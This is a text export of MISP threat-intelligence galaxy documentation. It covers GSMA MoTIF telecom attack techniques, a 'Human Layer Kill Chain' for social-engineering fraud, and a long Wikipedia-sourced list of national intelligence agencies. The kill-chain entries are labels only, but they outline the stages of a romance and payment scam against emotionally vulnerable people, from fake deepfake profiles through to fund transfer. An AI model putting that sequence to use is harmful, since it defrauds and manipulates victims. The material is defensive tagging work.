page 47 of page 47 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) R. Pell, S. Moschoyiannis, E. Panaousis, R. Heartfield. (2021). Towards dynamic threat modelling in 5G core networks based on MITRE ATT&CK. (2) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem[(1) R. Pell, S. Moschoyiannis, E. Panaousis, R. Heartfield. (2021). Towards dynamic threat modelling in 5G core networks based on MITRE ATT&CK. (2) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem]
Network Function Service Discovery
MITRE FiGHT™ (FGT5003)[Network Function Service Discovery
MITRE FiGHT™ (FGT5003)]

Exploitation for Credential Access

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.

The tag is: *misp-galaxy:gsma-motif="Exploitation for Credential Access"*

Table 1694. Table References

Links
page 48 of page 48 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf

(1) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem[(1) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem]
Exploitation for Credential Access, Technique T1212 - Enterprise
MITRE ATT&CK® https://fight.mitre.org/techniques/FGT5003/[Exploitation for Credential Access, Technique T1212 - Enterprise
MITRE ATT&CK® https://fight.mitre.org/techniques/FGT5003/]

Data Manipulation

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.

The tag is: *misp-galaxy:gsma-motif="Data Manipulation"*

Table 1695. Table References

Links
page 49 of page 49 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Register. (2017). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts (2) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem[(1) The Register. (2017). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts (2) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem]
Data Manipulation, Technique T1565 - Enterprise
MITRE ATT&CK® Data Manipulation
MITRE FiGHT™ (FGT1565)[Data Manipulation, Technique T1565 - Enterprise
MITRE ATT&CK® Data Manipulation
MITRE FiGHT™ (FGT1565)]

Stored Data Manipulation

Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data

The tag is: *misp-galaxy:gsma-motif="Stored Data Manipulation"*

Table 1696. Table References

Links
page 49 of page 49 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem[(1) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem]

Data Manipulation: Stored Data Manipulation, Sub-technique T1565.001 - Enterprise
MITRE ATT&CK®[Data Manipulation: Stored Data Manipulation, Sub-technique T1565.001 - Enterprise
MITRE ATT&CK®]

Human Layer Kill Chain

Human Layer Kill Chain (HKC) framework.

Human Layer Kill Chain is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Vasilis Katos - Jane Henriksen-Bulmer - Emily Rosenorn-Lanng - Ala Yankouskaya

Research dating platforms and identify vulnerable profiles

Research dating platforms and identify vulnerable profiles

The tag is: *misp-galaxy:human-layer-kill-chain="Research dating platforms and identify vulnerable profiles"*

Identify low value target/employee

Identify low value target/employee

The tag is: *misp-galaxy:human-layer-kill-chain="Identify low value target/employee"*

Analyse emotional vulnerabilities (recent loss, loneliness)

Analyse emotional vulnerabilities (recent loss, loneliness)

The tag is: *misp-galaxy:human-layer-kill-chain="Analyse emotional vulnerabilities (recent loss, loneliness)"*

Profile executives

Profile executives

The tag is: *misp-galaxy:human-layer-kill-chain="Profile executives"*

Create attractive fake profiles with stolen/deepfake photos

Create attractive fake profiles with stolen/deepfake photos

The tag is: *misp-galaxy:human-layer-kill-chain="Create attractive fake profiles with stolen/deepfake photos"*

Create spoofed email

Create spoofed email

The tag is: *misp-galaxy:human-layer-kill-chain="Create spoofed email"*

Initial contact and emotional connection

Initial contact and emotional connection

The tag is: *misp-galaxy:human-layer-kill-chain="Initial contact and emotional connection"*

Establish legitimacy

Establish legitimacy

The tag is: *misp-galaxy:human-layer-kill-chain="Establish legitimacy"*

Send email

Send email

The tag is: *misp-galaxy:human-layer-kill-chain="Send email"*

Deploy urgency payment request

Deploy urgency payment request

The tag is: *misp-galaxy:human-layer-kill-chain="Deploy urgency payment request"*

Deliver ransomware note

Deliver ransomware note

The tag is: *misp-galaxy:human-layer-kill-chain="Deliver ransomware note"*

Build deep emotional dependency

Build deep emotional dependency

The tag is: *misp-galaxy:human-layer-kill-chain="Build deep emotional dependency"*

Payment negotiation

Payment negotiation

The tag is: *misp-galaxy:human-layer-kill-chain="Payment negotiation"*

Crypto payment support

Crypto payment support

The tag is: *misp-galaxy:human-layer-kill-chain="Crypto payment support"*

Request financial help with fabricated emergency

Request financial help with fabricated emergency

The tag is: *misp-galaxy:human-layer-kill-chain="Request financial help with fabricated emergency"*

Execute fund transfer

Execute fund transfer

The tag is: *misp-galaxy:human-layer-kill-chain="Execute fund transfer"*

Delete profile and online presence

Delete profile and online presence

The tag is: *misp-galaxy:human-layer-kill-chain="Delete profile and online presence"*

Intelligence Agencies

List of intelligence agencies.

> Intelligence Agencies is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Graham87 - Frietjes - Narky Blert - Pkbwcgs - Girth Summit - InternetArchiveBot - AnomieBOT -

GreenMeansGo - MusikBot - Trappist the monk

General Directorate of Intelligence

General Directorate of Intelligence (GDI) – □ □□□□□□□□□□□ □□□ □□□□□

The tag is: *misp-galaxy:intelligence-agency="General Directorate of Intelligence"*

General Directorate of Intelligence is also known as:

- □ □□□□□□□□□□□ □□□ □□□□□

Table 1697. Table References

Links
https://en.wikipedia.org/wiki/General_Directorate_of_Intelligence

National Intelligence Service (Albania)

State Intelligence Service (SHISH) – Sherbimi Informativ Shteteror

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Service (Albania)"*

National Intelligence Service (Albania) is also known as:

- Sherbimi Informativ Shteteror

Table 1698. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Service_(Albania)

Dirección de Observaciones Judiciales

Directorate of Judicial Surveillance (DOJ) – Dirección de Observaciones Judiciales

The tag is: *misp-galaxy:intelligence-agency="Dirección de Observaciones Judiciales"*

Table 1699. Table References

Links
https://en.wikipedia.org/wiki/Direcci%C3%B3n_de_Observaciones_Judiciales

Servicio Federal de Lucha contra el Narcotráfico

Federal Counternarcotics Service (SEFECONAR) – Servicio Federal de Lucha contra el Narcotráfico

The tag is: *misp-galaxy:intelligence-agency="Servicio Federal de Lucha contra el Narcotráfico"*

Table 1700. Table References

Links
https://en.wikipedia.org/wiki/Servicio_Federal_de_Lucha_contra_el_Narcotr%C3%A1fico

Inteligencia de la Gendarmería Nacional Argentina

Argentine National Gendarmerie Intelligence (SIGN) – Inteligencia de la Gendarmería Nacional Argentina

The tag is: *misp-galaxy:intelligence-agency="Inteligencia de la Gendarmería Nacional Argentina"*

Table 1701. Table References

Links
https://en.wikipedia.org/wiki/Inteligencia_de_la_Gendarmer%C3%ADa_Nacional_Argentina

Dirección Nacional de Inteligencia Estratégica Militar

National Directorate of Strategic Military Intelligence (DNIEM) – Dirección Nacional de Inteligencia Estratégica Militar

The tag is: *misp-galaxy:intelligence-agency="Dirección Nacional de Inteligencia Estratégica Militar"*

Table 1702. Table References

Links
https://en.wikipedia.org/wiki/Direcci%C3%B3n_Nacional_de_Inteligencia_Estrat%C3%A9gica_Militar

Inteligencia del Servicio Penitenciario Federal

Federal Penitentiary Service Intelligence – Inteligencia del Servicio Penitenciario Federal

The tag is: *misp-galaxy:intelligence-agency="Inteligencia del Servicio Penitenciario Federal"*

Table 1703. Table References

Links
https://en.wikipedia.org/wiki/Inteligencia_del_Servicio_Penitenciario_Federal

Inteligencia de la Policía de Seguridad Aeroportuaria

Airport Security Police Intelligence – Inteligencia de la Policía de Seguridad Aeroportuaria

The tag is: *misp-galaxy:intelligence-agency="Inteligencia de la Policía de Seguridad Aeroportuaria"*

Table 1704. Table References

Links
https://en.wikipedia.org/wiki/Inteligencia_de_la_Polic%C3%ADa_de_Seguridad_Aeroportuaria

Dirección Nacional de Inteligencia Criminal

National Directorate of Criminal Intelligence (DNIC) – Dirección Nacional de Inteligencia Criminal

The tag is: *misp-galaxy:intelligence-agency="Dirección Nacional de Inteligencia Criminal"*

Table 1705. Table References

Links
https://en.wikipedia.org/wiki/Direcci%C3%B3n_Nacional_de_Inteligencia_Criminal

Inteligencia de la Policía Federal Argentina

Argentine Federal Police Intelligence – Inteligencia de la Policía Federal Argentina

The tag is: *misp-galaxy:intelligence-agency="Inteligencia de la Policía Federal Argentina"*

Table 1706. Table References

Links
https://en.wikipedia.org/wiki/Inteligencia_de_la_Polic%C3%ADa_Federal_Argentina

Inteligencia de la Policía Bonaerense

Buenos Aires Police Intelligence (SIPBA) (Buenos Aires Police Intelligence) – Inteligencia de la Policía Bonaerense

The tag is: *misp-galaxy:intelligence-agency="Inteligencia de la Policía Bonaerense"*

Table 1707. Table References

Links
https://en.wikipedia.org/wiki/Inteligencia_de_la_Polic%C3%ADa_Bonaerense

Inteligencia de la Prefectura Naval Argentina

Argentine Naval Prefecture Intelligence (SIPN) – Inteligencia de la Prefectura Naval Argentina

The tag is: *misp-galaxy:intelligence-agency="Inteligencia de la Prefectura Naval Argentina"*

Table 1708. Table References

Links
https://en.wikipedia.org/wiki/Inteligencia_de_la_Prefectura_Naval_Argentina

Unidad de Inteligencia Financiera (Argentina)

Financial Intelligence Unit (UIF) – Unidad de Inteligencia Financiera

The tag is: *misp-galaxy:intelligence-agency="Unidad de Inteligencia Financiera (Argentina)"*

Unidad de Inteligencia Financiera (Argentina) is also known as:

- Unidad de Inteligencia Financiera

Table 1709. Table References

Links
https://en.wikipedia.org/wiki/Unidad_de_Inteligencia_Financiera_(Argentina)

Central de Reunión de Inteligencia Militar

Military Intelligence Collection Center (CRIM) – Central de Reunión de Inteligencia Militar

The tag is: *misp-galaxy:intelligence-agency="Central de Reunión de Inteligencia Militar"*

Table 1710. Table References

Links
https://en.wikipedia.org/wiki/Central_de_Reuni%C3%B3n_de_Inteligencia_Militar

Servicio de Inteligencia del Ejército (Argentina)

Army Intelligence Service (SIE) – Servicio de Inteligencia del Ejército

The tag is: *misp-galaxy:intelligence-agency="Servicio de Inteligencia del Ejército (Argentina)"*

Servicio de Inteligencia del Ejército (Argentina) is also known as:

- Servicio de Inteligencia del Ejército

Table 1711. Table References

Links
https://en.wikipedia.org/wiki/Servicio_de_Inteligencia_del_Ej%C3%A9rcito_(Argentina)

Servicio de Inteligencia Naval (Argentina)

Naval Intelligence Service (SIN) – Servicio de Inteligencia Naval

The tag is: *misp-galaxy:intelligence-agency="Servicio de Inteligencia Naval (Argentina)"*

Servicio de Inteligencia Naval (Argentina) is also known as:

- Servicio de Inteligencia Naval

Table 1712. Table References

Links
https://en.wikipedia.org/wiki/Servicio_de_Inteligencia_Naval_(Argentina)

Servicio de Inteligencia de la Fuerza Aérea (Argentina)

Air Force Intelligence Service (SIFA) – Servicio de Inteligencia de la Fuerza Aérea

The tag is: *misp-galaxy:intelligence-agency="Servicio de Inteligencia de la Fuerza Aérea (Argentina)"*

Servicio de Inteligencia de la Fuerza Aérea (Argentina) is also known as:

- Servicio de Inteligencia de la Fuerza Aérea

Table 1713. Table References

Links
https://en.wikipedia.org/wiki/Servicio_de_Inteligencia_de_la_Fuerza_A%C3%A9rea_(Argentina)

National Security Service (Armenia)

National Security Service (NSS)

The tag is: *misp-galaxy:intelligence-agency="National Security Service (Armenia)"*

Table 1714. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Service_(Armenia)

Australian Security Intelligence Organisation

Australian Security Intelligence Organisation (ASIO)

The tag is: *misp-galaxy:intelligence-agency="Australian Security Intelligence Organisation"*

Table 1715. Table References

Links
https://en.wikipedia.org/wiki/Australian_Security_Intelligence_Organisation

Australian Secret Intelligence Service

Australian Secret Intelligence Service (ASIS)

The tag is: *misp-galaxy:intelligence-agency="Australian Secret Intelligence Service"*

Table 1716. Table References

Links
https://en.wikipedia.org/wiki/Australian_Secret_Intelligence_Service

Australian Signals Directorate

Australian Signals Directorate (ASD)

The tag is: *misp-galaxy:intelligence-agency="Australian Signals Directorate"*

Table 1717. Table References

Links
https://en.wikipedia.org/wiki/Australian_Signals_Directorate

Australian Geospatial-Intelligence Organisation

Australian Geospatial-Intelligence Organisation (AGO)

The tag is: *misp-galaxy:intelligence-agency="Australian Geospatial-Intelligence Organisation"*

Table 1718. Table References

Links
https://en.wikipedia.org/wiki/Australian_Geospatial-Intelligence_Organisation

Defence Intelligence Organisation

Defence Intelligence Organisation (DIO)

The tag is: *misp-galaxy:intelligence-agency="Defence Intelligence Organisation"*

Table 1719. Table References

Links
https://en.wikipedia.org/wiki/Defence_Intelligence_Organisation

Office of National Intelligence (Australia)

Office of National Intelligence (ONI)

The tag is: *misp-galaxy:intelligence-agency="Office of National Intelligence (Australia)"*

Table 1720. Table References

Links
https://en.wikipedia.org/wiki/Office_of_National_Intelligence_(Australia)

Heeresnachrichtenamt

Heeresnachrichtenamt (HNA): Army Intelligence Office

The tag is: *misp-galaxy:intelligence-agency="Heeresnachrichtenamt"*

Heeresnachrichtenamt is also known as:

- Army Intelligence Office

Table 1721. Table References

Links
https://en.wikipedia.org/wiki/Heeresnachrichtenamt

Ministry of Defence (Austria)

```
Abwehramt (AbwA): Counter-Intelligence Office [2]
```

The tag is: *misp-galaxy:intelligence-agency="Ministry of Defence (Austria)"*

Ministry of Defence (Austria) is also known as:

- Counter-Intelligence Office

Table 1722. Table References

Links
https://en.wikipedia.org/wiki/Ministry_of_Defence_(Austria)#Subordinate_departments

State Security and Intelligence Directorate

Direktion Staatsschutz und Nachrichtendienst (DSN): State Security and Intelligence Directorate

The tag is: *misp-galaxy:intelligence-agency="State Security and Intelligence Directorate"*

Table 1723. Table References

Links
https://en.wikipedia.org/wiki/State_Security_and_Intelligence_Directorate

State Security Service of the Republic of Azerbaijan

State Security Service (Dövl□t T□hlük□sizliyi Xidm□ti)

The tag is: *misp-galaxy:intelligence-agency="State Security Service of the Republic of Azerbaijan"*

Table 1724. Table References

Links
https://en.wikipedia.org/wiki/State_Security_Service_of_the_Republic_of_Azerbaijan

Foreign Intelligence Service (Azerbaijan)

Foreign Intelligence Service (Xarici K□şfiyyat Xidm□ti)

The tag is: *misp-galaxy:intelligence-agency="Foreign Intelligence Service (Azerbaijan)"*

Table 1725. Table References

Links
https://en.wikipedia.org/wiki/Foreign_Intelligence_Service_(Azerbaijan)

Financial Monitoring Service (Azerbaijan)

Financial Monitoring Service (Maliyy□ Monitorinqi Xidm□ti)

The tag is: *misp-galaxy:intelligence-agency="Financial Monitoring Service (Azerbaijan)"*

Table 1726. Table References

Links
https://en.wikipedia.org/wiki/Financial_Monitoring_Service_(Azerbaijan)

Special Branch (Bahamas)

Security and Intelligence Branch (SIB)

The tag is: *misp-galaxy:intelligence-agency="Special Branch (Bahamas)"*

Table 1727. Table References

Links
https://en.wikipedia.org/wiki/Special_Branch#Bahamas

Financial Intelligence Unit (Bahamas)

Financial Intelligence Unit (FIU)

The tag is: *misp-galaxy:intelligence-agency="Financial Intelligence Unit (Bahamas)"*

Table 1728. Table References

Links
https://en.wikipedia.org/wiki/Financial_Intelligence_Unit

National Crime Intelligence Agency (NCIA)

National Crime Intelligence Agency (NCIA)

The tag is: *misp-galaxy:intelligence-agency="National Crime Intelligence Agency (NCIA)"*

National Security Agency (Bahrain)

NSA – National Security Agency

The tag is: *misp-galaxy:intelligence-agency="National Security Agency (Bahrain)"*

Table 1729. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Agency_(Bahrain)

National Committee for Intelligence Coordination

National Committee for Intelligence Coordination

The tag is: *misp-galaxy:intelligence-agency="National Committee for Intelligence Coordination"*

Table 1730. Table References

Links
https://en.wikipedia.org/wiki/National_Committee_for_Intelligence_Coordination

National Security Intelligence

National Security Intelligence (NSI)

The tag is: *misp-galaxy:intelligence-agency="National Security Intelligence"*

Table 1731. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Intelligence

Special Security Force

Special Security Force – Intelligence Bureau (SSF-IB)

The tag is: *misp-galaxy:intelligence-agency="Special Security Force"*

Table 1732. Table References

Links

https://en.wikipedia.org/wiki/Special_Security_Force

National Security Affairs Cell

National Security Affairs Cell[3]

The tag is: *misp-galaxy:intelligence-agency="National Security Affairs Cell"*

Table 1733. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Affairs_Cell

Special Branch, Bangladesh Police

Special Branch (SB)

The tag is: *misp-galaxy:intelligence-agency="Special Branch, Bangladesh Police"*

Table 1734. Table References

Links
https://en.wikipedia.org/wiki/Special_Branch,_Bangladesh_Police

Detective Branch, Bangladesh Police

Detective Branch (DB)

The tag is: *misp-galaxy:intelligence-agency="Detective Branch, Bangladesh Police"*

Table 1735. Table References

Links
https://en.wikipedia.org/wiki/Detective_Branch,_Bangladesh_Police

Police Bureau of Investigation

Police Bureau of Investigation (PBI)

The tag is: *misp-galaxy:intelligence-agency="Police Bureau of Investigation"*

Table 1736. Table References

Links
https://en.wikipedia.org/wiki/Police_Bureau_of_Investigation

Criminal Investigation Department (Bangladesh)

Criminal Investigation Department (CID)

The tag is: *misp-galaxy:intelligence-agency="Criminal Investigation Department (Bangladesh)"*

Table 1737. Table References

Links
https://en.wikipedia.org/wiki/Criminal_Investigation_Department_(Bangladesh)

Counter Terrorism and Transnational Crime

Counter Terrorism and Transnational Crime (CTTC)

The tag is: *misp-galaxy:intelligence-agency="Counter Terrorism and Transnational Crime"*

Table 1738. Table References

Links
https://en.wikipedia.org/wiki/Counter_Terrorism_and_Transnational_Crime

Rapid Action Battalion

Rapid Action Battalion – Intelligence Wing (RAB-IW)

The tag is: *misp-galaxy:intelligence-agency="Rapid Action Battalion"*

Table 1739. Table References

Links
https://en.wikipedia.org/wiki/Rapid_Action_Battalion

Directorate General of Forces Intelligence

Directorate General of Forces Intelligence (DGFI)

The tag is: *misp-galaxy:intelligence-agency="Directorate General of Forces Intelligence"*

Table 1740. Table References

Links
https://en.wikipedia.org/wiki/Directorate_General_of_Forces_Intelligence

Counter Terrorism and Intelligence Bureau

Counter Terrorism and Intelligence Bureau (CTIB)

The tag is: *misp-galaxy:intelligence-agency="Counter Terrorism and Intelligence Bureau"*

Table 1741. Table References

Links
https://en.wikipedia.org/wiki/Counter_Terrorism_and_Intelligence_Bureau

National Telecommunication Monitoring Centre

National Telecommunication Monitoring Centre (NTMC)

The tag is: *misp-galaxy:intelligence-agency="National Telecommunication Monitoring Centre"*

Table 1742. Table References

Links
https://en.wikipedia.org/wiki/National_Telecommunication_Monitoring_Centre

National Board of Revenue

Central Intelligence Unit (CIU)

The tag is: *misp-galaxy:intelligence-agency="National Board of Revenue"*

Table 1743. Table References

Links
https://en.wikipedia.org/wiki/National_Board_of_Revenue

Bangladesh Financial Intelligence Unit

Bangladesh Financial Intelligence Unit (BFIU)

The tag is: *misp-galaxy:intelligence-agency="Bangladesh Financial Intelligence Unit"*

Table 1744. Table References

Links
https://en.wikipedia.org/wiki/Bangladesh_Financial_Intelligence_Unit

Digital Security Agency

Digital Security Agency

The tag is: *misp-galaxy:intelligence-agency="Digital Security Agency"*

Table 1745. Table References

Links

https://en.wikipedia.org/wiki/Digital_Security_Agency

Financial Intelligence Unit (Barbados)

Financial Intelligence Unit (FIU)

The tag is: *misp-galaxy:intelligence-agency="Financial Intelligence Unit (Barbados)"*

Table 1746. Table References

Links
https://en.wikipedia.org/wiki/Financial_Intelligence_Unit

Criminal Investigations Department

Criminal Investigations Department (CID)

The tag is: *misp-galaxy:intelligence-agency="Criminal Investigations Department"*

Table 1747. Table References

Links
https://en.wikipedia.org/wiki/Criminal_Investigations_Department

State Security Committee of the Republic of Belarus

State Security Committee of the Republic of Belarus (KDB/KGB) (State Security Committee)

The tag is: *misp-galaxy:intelligence-agency="State Security Committee of the Republic of Belarus"*

Table 1748. Table References

Links
https://en.wikipedia.org/wiki/State_Security_Committee_of_the_Republic_of_Belarus

Belgian State Security Service

VSSE (State Security Service)

The tag is: *misp-galaxy:intelligence-agency="Belgian State Security Service"*

Table 1749. Table References

Links
https://en.wikipedia.org/wiki/Belgian_State_Security_Service

Belgian General Information and Security Service

ADIV / SGRS (ADIV/SGRS) (General Intelligence and Security Service, military intelligence)

The tag is: *misp-galaxy:intelligence-agency="Belgian General Information and Security Service"*

Table 1750. Table References

Links
https://en.wikipedia.org/wiki/Belgian_General_Information_and_Security_Service

Intelligence-Security Agency of Bosnia and Herzegovina

Intelligence-Security Agency of Bosnia and Herzegovina (OSA)

The tag is: *misp-galaxy:intelligence-agency="Intelligence-Security Agency of Bosnia and Herzegovina"*

Table 1751. Table References

Links
https://en.wikipedia.org/wiki/Intelligence-Security_Agency_of_Bosnia_and_Herzegovina

Državna Agencija za Istrage i Zaštitu

Državna Agencija za Istrage i Zaštitu (State Investigation and Protection Agency, SIPA)

The tag is: *misp-galaxy:intelligence-agency="Državna Agencija za Istrage i Zaštitu"*

Table 1752. Table References

Links
https://en.wikipedia.org/wiki/Dr%C5%BEavna_Agencija_za_Istrage_i_Za%C5%A1titu

Directorate of Intelligence and Security

Directorate on Intelligence and Security Services (DISS – Ministry of State President Espionage & Counter Intelligence unit)

The tag is: *misp-galaxy:intelligence-agency="Directorate of Intelligence and Security"*

Table 1753. Table References

Links
https://en.wikipedia.org/wiki/Directorate_of_Intelligence_and_Security

Brazilian Intelligence Agency

Brazilian Intelligence Agency (ABIN)

The tag is: *misp-galaxy:intelligence-agency="Brazilian Intelligence Agency"*

Table 1754. Table References

Links
https://en.wikipedia.org/wiki/Brazilian_Intelligence_Agency

Federal Police Department

Federal Police Department (DPF) (counterintelligence agency)

The tag is: *misp-galaxy:intelligence-agency="Federal Police Department"*

Table 1755. Table References

Links
https://en.wikipedia.org/wiki/Federal_Police_Department

Institutional Security Bureau

Gabinete de Segurança Institucional (Institutional Security Bureau) (GSI) Responds directly to the president's office and the armed forces. Coordinates some intelligence operations.

The tag is: *misp-galaxy:intelligence-agency="Institutional Security Bureau"*

Table 1756. Table References

Links
https://en.wikipedia.org/wiki/Institutional_Security_Bureau

Secretaria da Receita Federal do Brasil

Secretaria da Receita Federal do Brasil (Federal Revenue Secretariat) (RFB) (General Coordination for Research and Investigations - Coordenação-Geral de Pesquisa e Investigação - Copei)

The tag is: *misp-galaxy:intelligence-agency="Secretaria da Receita Federal do Brasil"*

Table 1757. Table References

Links
https://en.wikipedia.org/wiki/Secretaria_da_Receita_Federal_do_Brasil

Internal Security Department (Brunei)

Internal Security Department (Brunei)[4] (internal)

The tag is: *misp-galaxy:intelligence-agency="Internal Security Department (Brunei)"*

Table 1758. Table References

Links
https://en.wikipedia.org/wiki/Internal_Security_Department_(Brunei)

National Intelligence Service (Bulgaria)

State Intelligence Agency (Държавна агенция „Разузнаване“ (DAR)) – overseas intelligence gathering service under the supervision of the Council of Ministers of Bulgaria

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Service (Bulgaria)"*

Table 1759. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Service_(Bulgaria)

State Agency for National Security

State Agency for National Security (Държавна агенция за национална сигурност (DANS)) – national security service under the supervision of the Council of Ministers of Bulgaria

The tag is: *misp-galaxy:intelligence-agency="State Agency for National Security"*

Table 1760. Table References

Links
https://en.wikipedia.org/wiki/State_Agency_for_National_Security

National Intelligence Service (Burundi)

Service national de renseignement (SNR)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Service (Burundi)"*

Table 1761. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Service_(Burundi)

Canadian Security Intelligence Service

Canadian Security Intelligence Service (CSIS)

The tag is: *misp-galaxy:intelligence-agency="Canadian Security Intelligence Service"*

Table 1762. Table References

Links
https://en.wikipedia.org/wiki/Canadian_Security_Intelligence_Service

Communications Security Establishment Canada

Communications Security Establishment (CSE)

The tag is: *misp-galaxy:intelligence-agency="Communications Security Establishment Canada"*

Table 1763. Table References

Links
https://en.wikipedia.org/wiki/Communications_Security_Establishment_Canada

Canadian Forces Military Police

Canadian Forces National Counter-Intelligence Unit (DND) operated by the Canadian Forces Military Police Group

The tag is: *misp-galaxy:intelligence-agency="Canadian Forces Military Police"*

Table 1764. Table References

Links
https://en.wikipedia.org/wiki/Canadian_Forces_Military_Police

Joint Task Force X

Joint Task Force X

The tag is: *misp-galaxy:intelligence-agency="Joint Task Force X"*

Criminal Intelligence Service Canada

Criminal Intelligence Service Canada (CISC)

The tag is: *misp-galaxy:intelligence-agency="Criminal Intelligence Service Canada"*

Table 1765. Table References

Links

https://en.wikipedia.org/wiki/Criminal_Intelligence_Service_Canada

Intelligence Branch

Intelligence Branch

The tag is: *misp-galaxy:intelligence-agency="Intelligence Branch"*

Table 1766. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Branch

Financial Transactions and Reports Analysis Centre of Canada

Financial Transactions and Reports Analysis Centre of Canada (FINTRAC)

The tag is: *misp-galaxy:intelligence-agency="Financial Transactions and Reports Analysis Centre of Canada"*

Table 1767. Table References

Links
https://en.wikipedia.org/wiki/Financial_Transactions_and_Reports_Analysis_Centre_of_Canada

Global Affairs Canada

Global Affairs Canada (GAC) Bureau of Intelligence Analysis and Security and Bureau of Economic Intelligence

The tag is: *misp-galaxy:intelligence-agency="Global Affairs Canada"*

Table 1768. Table References

Links
https://en.wikipedia.org/wiki/Global_Affairs_Canada

Royal Canadian Mounted Police

Royal Canadian Mounted Police (RCMP) Intelligence Division

The tag is: *misp-galaxy:intelligence-agency="Royal Canadian Mounted Police"*

Table 1769. Table References

Links

https://en.wikipedia.org/wiki/Royal_Canadian_Mounted_Police

Canada Border Services Agency

Canada Border Services Agency (CBSA) Immigrations Intelligence

The tag is: *misp-galaxy:intelligence-agency="Canada Border Services Agency"*

Table 1770. Table References

Links
https://en.wikipedia.org/wiki/Canada_Border_Services_Agency

Canadian Coast Guard

Canadian Coast Guard (CCG)

The tag is: *misp-galaxy:intelligence-agency="Canadian Coast Guard"*

Table 1771. Table References

Links
https://en.wikipedia.org/wiki/Canadian_Coast_Guard

Agence nationale de sécurité

Agence nationale de sécurité (ANS)

The tag is: *misp-galaxy:intelligence-agency="Agence nationale de sécurité"*

Table 1772. Table References

Links
https://en.wikipedia.org/wiki/Agence_nationale_de_s%C3%A9curit%C3%A9

Agencia Nacional de Inteligencia

National Intelligence Agency (ANI) – Agencia Nacional de Inteligencia

The tag is: *misp-galaxy:intelligence-agency="Agencia Nacional de Inteligencia"*

Table 1773. Table References

Links
https://en.wikipedia.org/wiki/Agencia_Nacional_de_Inteligencia

610 Office

610 Office

The tag is: *misp-galaxy:intelligence-agency="610 Office"*

Table 1774. Table References

Links
https://en.wikipedia.org/wiki/610_Office

International Liaison Department of the Chinese Communist Party

International Department (ID)

The tag is: *misp-galaxy:intelligence-agency="International Liaison Department of the Chinese Communist Party"*

Table 1775. Table References

Links
https://en.wikipedia.org/wiki/International_Liaison_Department_of_the_Chinese_Communist_Party

United Front Work Department

United Front Work Department (UFWD)

The tag is: *misp-galaxy:intelligence-agency="United Front Work Department"*

Table 1776. Table References

Links
https://en.wikipedia.org/wiki/United_Front_Work_Department

Joint Staff Department of the Central Military Commission Intelligence Bureau

Intelligence Bureau of the General Staff aka 2nd Bureau

The tag is: *misp-galaxy:intelligence-agency="Joint Staff Department of the Central Military Commission Intelligence Bureau"*

Table 1777. Table References

Links

https://en.wikipedia.org/wiki/Joint_Staff_Department_of_the_Central_Military_Commission_Intelligence_Bureau

People’s Liberation Army Air Force

People’s Liberation Army Air Force (PLAAF)

The tag is: *misp-galaxy:intelligence-agency="People’s Liberation Army Air Force"*

Table 1778. Table References

Links
https://en.wikipedia.org/wiki/People%27s_Liberation_Army_Air_Force

People’s Liberation Army General Political Department

People’s Liberation Army General Political Department (GND)

The tag is: *misp-galaxy:intelligence-agency="People’s Liberation Army General Political Department"*

Table 1779. Table References

Links
https://en.wikipedia.org/wiki/People%27s_Liberation_Army_General_Political_Department

People’s Liberation Army General Staff Department

People’s Liberation Army General Staff Department (GSD)

The tag is: *misp-galaxy:intelligence-agency="People’s Liberation Army General Staff Department"*

Table 1780. Table References

Links
https://en.wikipedia.org/wiki/People%27s_Liberation_Army_General_Staff_Department

PLA Unit 61398

PLA Unit 61398 aka APT 1

The tag is: *misp-galaxy:intelligence-agency="PLA Unit 61398"*

Table 1781. Table References

Links
https://en.wikipedia.org/wiki/PLA_Unit_61398

State Administration of Foreign Experts Affairs

State Administration of Foreign Experts Affairs (SAFEA)

The tag is: *misp-galaxy:intelligence-agency="State Administration of Foreign Experts Affairs"*

Table 1782. Table References

Links
https://en.wikipedia.org/wiki/State_Administration_of_Foreign_Experts_Affairs

Ministry of Public Security (China)

Ministry of Public Security (MPS)

The tag is: *misp-galaxy:intelligence-agency="Ministry of Public Security (China)"*

Table 1783. Table References

Links
https://en.wikipedia.org/wiki/Ministry_of_Public_Security_(China)

Ministry of State Security (China)

Ministry of State Security (MSS)

The tag is: *misp-galaxy:intelligence-agency="Ministry of State Security (China)"*

Table 1784. Table References

Links
